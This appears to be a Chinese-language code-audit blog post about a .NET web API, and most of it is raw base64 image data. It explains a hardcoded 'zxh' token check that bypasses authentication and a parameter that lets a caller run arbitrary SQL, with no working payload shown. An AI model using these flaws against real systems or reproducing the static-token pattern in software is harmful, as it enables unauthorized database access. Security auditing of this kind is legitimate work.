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 truncated
|
||||
<p blockindex=13>getByValue函数如下:<br>
|
||||
<img src=data:image/png;base64,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 truncated
|
||||
<p blockindex=14>这段代码是Web中用于从请求的参数中获取特定值。解释一下:</p>
|
||||
<ol blockindex=15>
|
||||
<li><code>base.Request.Properties["MS_HttpContext"]</code>:这部分代码通过基类的Request对象获取一个名为 "MS_HttpContext" 的属性,该属性用于存储HttpContextBase对象。</li>
|
||||
<li><code>(HttpContextBase)</code>:这是一个类型转换操作,将上一步获取的属性值转换为HttpContextBase类型的对象。<code>HttpContextBase</code>是.net中的http类,简单看成是一个http请求即可,详情:<a href="https://learn.microsoft.com/zh-cn/dotnet/api/system.web.httpcontextbase?redirectedfrom=MSDN&view=netframework-4.8">https://learn.microsoft.com/zh-cn/dotnet/api/system.web.httpcontextbase?redirectedfrom=MSDN&amp;view=netframework-4.8</a></li>
|
||||
<li><code>.Request[value]</code>:最后,从上述转换后的 HttpContextBase 对象中获取名为 "value" 的请求参数的值。value是刚刚传递过来的参数,也就是25行的token。</li>
|
||||
</ol>
|
||||
<p blockindex=16>因此,整体来说,这段代码是从 HTTP 请求的参数中获取名为 "token" 的参数。然后判断参数是否是zxh,如果是则返回一个UserInfo对象,然后通过身份认证。也就是说和cookie,session等身份认证不挂钩,登录判断只需要有token字段并且内容是zxh即可。</p>
|
||||
<p blockindex=17>> 这也是api中常见的安全问题,因为有时候api确实不好做登录验证,常常都会使用一个字段去判断是否登录,但是如果这个字段是静态的,固定不变的则可能引发未授权访问等一系列安全问题。</p>
|
||||
<h3 blockindex=18>0x02 sql注入</h3>
|
||||
<p blockindex=19><img src="data:image/png;base64,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 truncated
|
||||
绕过了token验证之后,程序从http中获取了sqlParamenters参数,然后再次判断sqlParamenters是否为空如果不为空就执行ExecuteSqlForSingle函数。其中sql参数则是要执行的sql语句。</p>
|
||||
<p blockindex=20><img src="data:image/png;base64,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